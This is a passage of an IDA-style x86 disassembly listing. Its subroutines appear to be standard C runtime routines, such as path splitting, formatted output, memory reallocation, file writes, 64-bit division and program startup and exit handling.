loc_41737F: ; CODE XREF: sub_417348+25j inc ebx inc ebx jmp short loc_41738D ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417348+18j ; sub_417348+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41738D and byte ptr [eax], 0 loc_41738D: ; CODE XREF: sub_417348+39j ; sub_417348+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_417405 loc_4173A0: ; CODE XREF: sub_417348+87j mov cl, [eax] movzx edx, cl test byte_46AA01[edx], 4 jz short loc_4173B1 inc eax jmp short loc_4173CB ; --------------------------------------------------------------------------- loc_4173B1: ; CODE XREF: sub_417348+64j cmp cl, 2Fh jz short loc_4173C5 cmp cl, 5Ch jz short loc_4173C5 cmp cl, 2Eh jnz short loc_4173CB mov [ebp+var_4], eax jmp short loc_4173CB ; --------------------------------------------------------------------------- loc_4173C5: ; CODE XREF: sub_417348+6Cj ; sub_417348+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_4173CB: ; CODE XREF: sub_417348+67j ; sub_417348+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_4173A0 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_417405 cmp [ebp+arg_8], 0 jz short loc_417400 sub edi, ebx cmp edi, esi jb short loc_4173E9 mov edi, esi loc_4173E9: ; CODE XREF: sub_417348+9Dj push edi push ebx push [ebp+arg_8] call sub_41C3A0 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_417400: ; CODE XREF: sub_417348+97j mov ebx, [ebp+arg_4] jmp short loc_41740F ; --------------------------------------------------------------------------- loc_417405: ; CODE XREF: sub_417348+56j ; sub_417348+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41740F and byte ptr [ecx], 0 loc_41740F: ; CODE XREF: sub_417348+BBj ; sub_417348+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_417462 cmp edi, ebx jb short loc_417462 cmp [ebp+arg_C], 0 jz short loc_41743F sub edi, ebx cmp edi, esi jb short loc_417428 mov edi, esi loc_417428: ; CODE XREF: sub_417348+DCj push edi push ebx push [ebp+arg_C] call sub_41C3A0 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41743F: ; CODE XREF: sub_417348+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41748A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41744F mov esi, eax loc_41744F: ; CODE XREF: sub_417348+103j push esi push [ebp+var_4] push edi call sub_41C3A0 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41748A ; --------------------------------------------------------------------------- loc_417462: ; CODE XREF: sub_417348+CCj ; sub_417348+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_417480 sub eax, ebx cmp eax, esi jnb short loc_417471 mov esi, eax loc_417471: ; CODE XREF: sub_417348+125j push esi push ebx push edi call sub_41C3A0 add esp, 0Ch and byte ptr [esi+edi], 0 loc_417480: ; CODE XREF: sub_417348+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41748A and byte ptr [eax], 0 loc_41748A: ; CODE XREF: sub_417348+FCj ; sub_417348+118j ... pop edi pop esi pop ebx leave retn sub_417348 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41748F proc near ; CODE XREF: sub_40B1E1+19p ; sub_412D06+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_417D4C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4174CD mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4174DA ; --------------------------------------------------------------------------- loc_4174CD: ; CODE XREF: sub_41748F+34j lea eax, [ebp+var_20] push eax push 0 call sub_417C37 pop ecx pop ecx loc_4174DA: ; CODE XREF: sub_41748F+3Cj mov eax, esi pop esi leave retn sub_41748F endp ; =============== S U B R O U T I N E ======================================= sub_4174DF proc near ; CODE XREF: sub_40B459+2Ep ; sub_4167D3+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_4174FA push [esp+10h+arg_4] call sub_415DC9 pop ecx jmp loc_4175FA ; --------------------------------------------------------------------------- loc_4174FA: ; CODE XREF: sub_4174DF+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_417510 push ebx call sub_415E3D pop ecx loc_417509: ; CODE XREF: sub_4174DF+114j xor eax, eax jmp loc_4175FA ; --------------------------------------------------------------------------- loc_417510: ; CODE XREF: sub_4174DF+21j ; sub_4174DF+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4175DB push ebx call sub_418AFD mov ebp, eax pop ecx test ebp, ebp jz loc_4175B8 cmp esi, dword_437FAC ja short loc_417578 push esi push ebx push ebp call sub_419308 add esp, 0Ch test eax, eax jz short loc_417547 mov edi, ebx jmp short loc_417570 ; --------------------------------------------------------------------------- loc_417547: ; CODE XREF: sub_4174DF+62j push esi call sub_418E53 mov edi, eax pop ecx test edi, edi jz short loc_417578 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41755E mov eax, esi loc_41755E: ; CODE XREF: sub_4174DF+7Bj push eax push ebx push edi call sub_4155D0 push ebx push ebp call sub_418B28 add esp, 14h loc_417570: ; CODE XREF: sub_4174DF+66j test edi, edi jnz loc_4175F8 loc_417578: ; CODE XREF: sub_4174DF+53j ; sub_4174DF+73j test esi, esi jnz short loc_41757F push 1 pop esi loc_41757F: ; CODE XREF: sub_4174DF+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_46AB20 call dword_42114C mov edi, eax test edi, edi jz short loc_4175DB mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4175A4 mov eax, esi loc_4175A4: ; CODE XREF: sub_4174DF+C1j push eax push ebx push edi call sub_4155D0 push ebx push ebp call sub_418B28 add esp, 14h jmp short loc_4175D7 ; --------------------------------------------------------------------------- loc_4175B8: ; CODE XREF: sub_4174DF+47j test esi, esi jnz short loc_4175BF push 1 pop esi loc_4175BF: ; CODE XREF: sub_4174DF+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_46AB20 call dword_421160 mov edi, eax loc_4175D7: ; CODE XREF: sub_4174DF+D7j test edi, edi jnz short loc_4175F8 loc_4175DB: ; CODE XREF: sub_4174DF+36j ; sub_4174DF+B9j cmp dword_469514, 0 jz short loc_4175F8 push esi call sub_418A68 test eax, eax pop ecx jnz loc_417510 jmp loc_417509 ; --------------------------------------------------------------------------- loc_4175F8: ; CODE XREF: sub_4174DF+93j ; sub_4174DF+FAj ... mov eax, edi loc_4175FA: ; CODE XREF: sub_4174DF+16j ; sub_4174DF+2Cj pop edi pop esi pop ebp pop ebx retn sub_4174DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175FF proc near ; CODE XREF: sub_40BAB4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_417623 xor eax, eax jmp loc_4176F0 ; --------------------------------------------------------------------------- loc_417623: ; CODE XREF: sub_4175FF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_417636 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41763D ; --------------------------------------------------------------------------- loc_417636: ; CODE XREF: sub_4175FF+2Dj mov [ebp+arg_C], 1000h loc_41763D: ; CODE XREF: sub_4175FF+35j ; sub_4175FF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_417671 mov eax, [esi+4] test eax, eax jz short loc_417671 cmp ebx, eax mov edi, ebx jb short loc_417657 mov edi, eax loc_417657: ; CODE XREF: sub_4175FF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_4155D0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4176B7 ; --------------------------------------------------------------------------- loc_417671: ; CODE XREF: sub_4175FF+47j ; sub_4175FF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4176BC test ecx, ecx jz short loc_417685 push esi call sub_4186E4 test eax, eax pop ecx jnz short loc_4176FE loc_417685: ; CODE XREF: sub_4175FF+79j cmp [ebp+arg_C], 0 jz short loc_417698 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41769A ; --------------------------------------------------------------------------- loc_417698: ; CODE XREF: sub_4175FF+8Aj mov edi, ebx loc_41769A: ; CODE XREF: sub_4175FF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41C42A add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4176F5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4176F5 loc_4176B7: ; CODE XREF: sub_4175FF+70j mov edi, [ebp+var_4] jmp short loc_4176E5 ; --------------------------------------------------------------------------- loc_4176BC: ; CODE XREF: sub_4175FF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_417C37 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4176FE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4176E5 mov [ebp+arg_C], 1 loc_4176E5: ; CODE XREF: sub_4175FF+BBj ; sub_4175FF+DDj test ebx, ebx jnz loc_41763D mov eax, [ebp+arg_8] loc_4176F0: ; CODE XREF: sub_4175FF+1Fj ; sub_4175FF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4176F5: ; CODE XREF: sub_4175FF+ADj ; sub_4175FF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_417700 ; --------------------------------------------------------------------------- loc_4176FE: ; CODE XREF: sub_4175FF+84j ; sub_4175FF+CFj mov eax, edi loc_417700: ; CODE XREF: sub_4175FF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4176F0 sub_4175FF endp ; =============== S U B R O U T I N E ======================================= sub_417709 proc near ; CODE XREF: sub_40C1FE+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_421094 cmp eax, 0FFFFFFFFh jnz short loc_417729 call dword_421088 push eax call sub_41C5D7 pop ecx loc_417725: ; CODE XREF: sub_417709+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417729: ; CODE XREF: sub_417709+Dj test al, 1 jz short loc_41774A test [esp+arg_4], 2 jz short loc_41774A mov dword_4694B4, 0Dh mov dword_4694B8, 5 jmp short loc_417725 ; --------------------------------------------------------------------------- loc_41774A: ; CODE XREF: sub_417709+22j ; sub_417709+29j xor eax, eax retn sub_417709 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417750 proc near ; CODE XREF: sub_40C328+5Fp ; sub_40C328+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_417771 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_417771: ; CODE XREF: sub_417750+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41778D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41778D: ; CODE XREF: sub_417750+27j or eax, eax jnz short loc_4177A9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4177EA ; --------------------------------------------------------------------------- loc_4177A9: ; CODE XREF: sub_417750+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4177B7: ; CODE XREF: sub_417750+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4177B7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4177E5 cmp edx, [esp+0Ch+arg_4] ja short loc_4177E5 jb short loc_4177E6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4177E6 loc_4177E5: ; CODE XREF: sub_417750+85j ; sub_417750+8Bj dec esi loc_4177E6: ; CODE XREF: sub_417750+8Dj ; sub_417750+93j xor edx, edx mov eax, esi loc_4177EA: ; CODE XREF: sub_417750+57j dec edi jnz short loc_4177F4 neg edx neg eax sbb edx, 0 loc_4177F4: ; CODE XREF: sub_417750+9Bj pop ebx pop esi pop edi retn 10h sub_417750 endp ; =============== S U B R O U T I N E ======================================= sub_4177FA proc near ; CODE XREF: .nsp0:00417B8Bp mov eax, off_437D5C test eax, eax jz short loc_417805 call eax ; sub_415F3B loc_417805: ; CODE XREF: sub_4177FA+7j push offset dword_423028 push offset dword_423014 call sub_4178E2 push offset dword_423010 push offset dword_423000 call sub_4178E2 add esp, 10h retn sub_4177FA endp ; =============== S U B R O U T I N E ======================================= sub_417827 proc near ; CODE XREF: .nsp0:00417BCAp arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_417849 add esp, 0Ch retn sub_417827 endp ; =============== S U B R O U T I N E ======================================= sub_417838 proc near ; CODE XREF: .nsp0:00417BE9p ; sub_417BEE+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_417849 add esp, 0Ch retn sub_417838 endp ; =============== S U B R O U T I N E ======================================= sub_417849 proc near ; CODE XREF: sub_417827+8p ; sub_417838+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4694FC, edi jnz short loc_417866 push [esp+4+arg_0] call dword_421104 push eax call dword_421140 loc_417866: ; CODE XREF: sub_417849+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4694F8, edi mov byte_4694F4, bl jnz short loc_4178BA mov eax, dword_46AB34 test eax, eax jz short loc_4178A9 mov ecx, dword_46AB30 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_4178A8 loc_417895: ; CODE XREF: sub_417849+5Dj mov eax, [esi] test eax, eax jz short loc_41789D call eax loc_41789D: ; CODE XREF: sub_417849+50j sub esi, 4 cmp esi, dword_46AB34 jnb short loc_417895 loc_4178A8: ; CODE XREF: sub_417849+4Aj pop esi loc_4178A9: ; CODE XREF: sub_417849+3Cj push offset dword_423034 push offset dword_42302C call sub_4178E2 pop ecx pop ecx loc_4178BA: ; CODE XREF: sub_417849+33j push offset dword_423040 push offset dword_423038 call sub_4178E2 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_4178E0 push [esp+4+arg_0] mov dword_4694FC, edi call dword_421114 loc_4178E0: ; CODE XREF: sub_417849+85j pop edi retn sub_417849 endp ; =============== S U B R O U T I N E ======================================= sub_4178E2 proc near ; CODE XREF: sub_4177FA+15p ; sub_4177FA+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4178E7: ; CODE XREF: sub_4178E2+16j cmp esi, [esp+4+arg_4] jnb short loc_4178FA mov eax, [esi] test eax, eax jz short loc_4178F5 call eax loc_4178F5: ; CODE XREF: sub_4178E2+Fj add esi, 4 jmp short loc_4178E7 ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_4178E2+9j pop esi retn sub_4178E2 endp ; =============== S U B R O U T I N E ======================================= sub_4178FC proc near ; CODE XREF: sub_40CE55+2AAAp arg_0 = dword ptr 4 push [esp+arg_0] call dword_421118 test eax, eax jnz short loc_417912 call dword_421088 jmp short loc_417914 ; --------------------------------------------------------------------------- loc_417912: ; CODE XREF: sub_4178FC+Cj xor eax, eax loc_417914: ; CODE XREF: sub_4178FC+14j test eax, eax jz short loc_417923 push eax call sub_41C5D7 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417923: ; CODE XREF: sub_4178FC+1Aj xor eax, eax retn sub_4178FC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_412B60+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41797C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41797D test eax, 1 jz short loc_41795D mov cl, [esi] cmp cl, [edi] jnz short loc_4179AA inc esi inc edi dec eax jz short loc_41797A loc_41795D: ; CODE XREF: sub_417930+20j ; sub_417930+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_4179AA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_4179AA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41795D loc_41797A: ; CODE XREF: sub_417930+2Bj ; sub_417930+84j pop edi pop esi locret_41797C: ; CODE XREF: sub_417930+6j retn ; --------------------------------------------------------------------------- loc_41797D: ; CODE XREF: sub_417930+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_4179B2 repe cmpsd jz short loc_4179B2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_4179A5 cmp ch, dh jnz short loc_4179A5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_4179A5 cmp ch, dh loc_4179A5: ; CODE XREF: sub_417930+63j ; sub_417930+67j ... mov eax, 0 loc_4179AA: ; CODE XREF: sub_417930+26j ; sub_417930+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4179B2: ; CODE XREF: sub_417930+55j ; sub_417930+59j test eax, eax jz short loc_41797A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_4179A5 dec eax jz short loc_4179D9 cmp dh, ch jnz short loc_4179A5 dec eax jz short loc_4179D9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_4179A5 dec eax loc_4179D9: ; CODE XREF: sub_417930+8Fj ; sub_417930+96j pop edi pop esi retn sub_417930 endp ; =============== S U B R O U T I N E ======================================= sub_4179DC proc near ; CODE XREF: sub_413CA9+55p ; sub_4146BA+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4179F3 loc_4179E9: ; CODE XREF: sub_4179DC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4179E9 loc_4179F3: ; CODE XREF: sub_4179DC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4179DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179F9 proc near ; CODE XREF: sub_413CA9+19p ; sub_413CA9+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_417AC6 mov edi, [ebp+arg_8] cmp edi, esi jz loc_417AF3 cmp dword_469548, esi jnz short loc_417A4A cmp edi, esi jbe loc_417AF3 loc_417A29: ; CODE XREF: sub_4179F9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_417AF3 inc eax inc edx inc edx cmp eax, edi jb short loc_417A29 jmp loc_417AF3 ; --------------------------------------------------------------------------- loc_417A4A: ; CODE XREF: sub_4179F9+26j mov ebx, [ebp+arg_4] mov esi, dword_421064 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_469558 call esi test eax, eax jnz loc_417AF2 call dword_421088 cmp eax, 7Ah jz short loc_417A84 loc_417A75: ; CODE XREF: sub_4179F9+CBj ; sub_4179F9+F7j mov dword_4694B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_417AF3 ; --------------------------------------------------------------------------- loc_417A84: ; CODE XREF: sub_4179F9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_417A8C: ; CODE XREF: sub_4179F9+B3j mov cl, [eax] test cl, cl jz short loc_417AAE mov edx, off_437D90 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417AA3 inc eax loc_417AA3: ; CODE XREF: sub_4179F9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_417A8C loc_417AAE: ; CODE XREF: sub_4179F9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_469558 call esi test eax, eax jnz short loc_417AF3 jmp short loc_417A75 ; --------------------------------------------------------------------------- loc_417AC6: ; CODE XREF: sub_4179F9+Fj cmp dword_469548, esi jnz short loc_417AD9 push [ebp+arg_4] call sub_415CF0 pop ecx jmp short loc_417AF3 ; --------------------------------------------------------------------------- loc_417AD9: ; CODE XREF: sub_4179F9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_469558 call dword_421064 cmp eax, esi jz short loc_417A75 loc_417AF2: ; CODE XREF: sub_4179F9+6Bj dec eax loc_417AF3: ; CODE XREF: sub_4179F9+1Aj ; sub_4179F9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4179F9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421678 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_42116C xor edx, edx mov dl, ah mov dword_4694CC, edx mov ecx, eax and ecx, 0FFh mov dword_4694C8, ecx shl ecx, 8 add ecx, edx mov dword_4694C4, ecx shr eax, 10h mov dword_4694C0, eax xor esi, esi push esi call sub_418A83 pop ecx test eax, eax jnz short loc_417B64 push 1Ch call sub_417C13 pop ecx loc_417B64: ; CODE XREF: .nsp0:00417B5Aj mov [ebp-4], esi call sub_41CC52 call dword_421168 mov dword_46AB24, eax call sub_41CB20 mov dword_469500, eax call sub_41C8D3 call sub_41C81A call sub_4177FA mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_421164 call sub_41C7C2 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_417BB1 movzx eax, word ptr [ebp-2Ch] jmp short loc_417BB4 ; --------------------------------------------------------------------------- loc_417BB1: ; CODE XREF: .nsp0:00417BA9j push 0Ah pop eax loc_417BB4: ; CODE XREF: .nsp0:00417BAFj push eax push dword ptr [ebp-64h] push esi push esi call dword_4210C8 push eax call sub_40C682 mov [ebp-60h], eax push eax call sub_417827 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_41C63E pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_417838 ; =============== S U B R O U T I N E ======================================= sub_417BEE proc near ; CODE XREF: sub_416852+16p ; sub_41C81A+4Ep ... arg_0 = dword ptr 4 cmp dword_469508, 1 jnz short loc_417BFC call sub_41CEE0 loc_417BFC: ; CODE XREF: sub_417BEE+7j push [esp+arg_0] call sub_41CF19 push 0FFh call off_437D80 pop ecx pop ecx retn sub_417BEE endp ; =============== S U B R O U T I N E ======================================= sub_417C13 proc near ; CODE XREF: .nsp0:00417B5Ep arg_0 = dword ptr 4 cmp dword_469508, 1 jnz short loc_417C21 call sub_41CEE0 loc_417C21: ; CODE XREF: sub_417C13+7j push [esp+arg_0] call sub_41CF19 pop ecx push 0FFh call dword_421114 retn sub_417C13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C37 proc near ; CODE XREF: sub_4154E7+46p ; sub_415A6A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_417D40 test al, 40h jnz loc_417D40 test al, 1 jz short loc_417C6F and dword ptr [esi+4], 0 test al, 10h jz loc_417D40 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_417C6F: ; CODE XREF: sub_417C37+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_417CA9 cmp esi, offset dword_4384A8 jz short loc_417C97 cmp esi, offset dword_4384C8 jnz short loc_417CA2 loc_417C97: ; CODE XREF: sub_417C37+56j push ebx call sub_41D0B0 test eax, eax pop ecx jnz short loc_417CA9 loc_417CA2: ; CODE XREF: sub_417C37+5Ej push esi call sub_41D06C pop ecx loc_417CA9: ; CODE XREF: sub_417C37+4Ej ; sub_417C37+69j test word ptr [esi+0Ch], 108h push edi jz short loc_417D16 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_417CD9 push edi push eax push ebx call sub_41C42A add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_417D0C ; --------------------------------------------------------------------------- loc_417CD9: ; CODE XREF: sub_417C37+90j cmp ebx, 0FFFFFFFFh jz short loc_417CF4 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_46A7E0[eax*4] lea eax, [eax+ecx*8] jmp short loc_417CF9 ; --------------------------------------------------------------------------- loc_417CF4: ; CODE XREF: sub_417C37+A5j mov eax, offset dword_4383F0 loc_417CF9: ; CODE XREF: sub_417C37+BBj test byte ptr [eax+4], 20h jz short loc_417D0C push 2 push 0 push ebx call sub_41BB7F add esp, 0Ch loc_417D0C: ; CODE XREF: sub_417C37+A0j ; sub_417C37+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_417D2A ; --------------------------------------------------------------------------- loc_417D16: ; CODE XREF: sub_417C37+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41C42A add esp, 0Ch mov [ebp+arg_4], eax loc_417D2A: ; CODE XREF: sub_417C37+DDj cmp [ebp+arg_4], edi pop edi jz short loc_417D36 or dword ptr [esi+0Ch], 20h jmp short loc_417D45 ; --------------------------------------------------------------------------- loc_417D36: ; CODE XREF: sub_417C37+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_417D48 ; --------------------------------------------------------------------------- loc_417D40: ; CODE XREF: sub_417C37+10j ; sub_417C37+18j ... or al, 20h mov [esi+0Ch], eax loc_417D45: ; CODE XREF: sub_417C37+FDj or eax, 0FFFFFFFFh loc_417D48: ; CODE XREF: sub_417C37+107j pop esi pop ebx pop ebp retn sub_417C37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D4C proc near ; CODE XREF: sub_4154E7+29p ; sub_415A6A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_418465 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_417D80 ; --------------------------------------------------------------------------- loc_417D78: ; CODE XREF: sub_417D4C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_417D80: ; CODE XREF: sub_417D4C+2Aj cmp [ebp+var_14], edx jl loc_418465 cmp bl, 20h jl short loc_417DA1 cmp bl, 78h jg short loc_417DA1 movsx eax, bl mov al, [eax+421664h] and eax, 0Fh jmp short loc_417DA3 ; --------------------------------------------------------------------------- loc_417DA1: ; CODE XREF: sub_417D4C+40j ; sub_417D4C+45j xor eax, eax loc_417DA3: ; CODE XREF: sub_417D4C+53j movsx eax, byte_421684[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_418454 ; default jmp off_41846D[eax*4] ; switch jump loc_417DC1: ; DATA XREF: 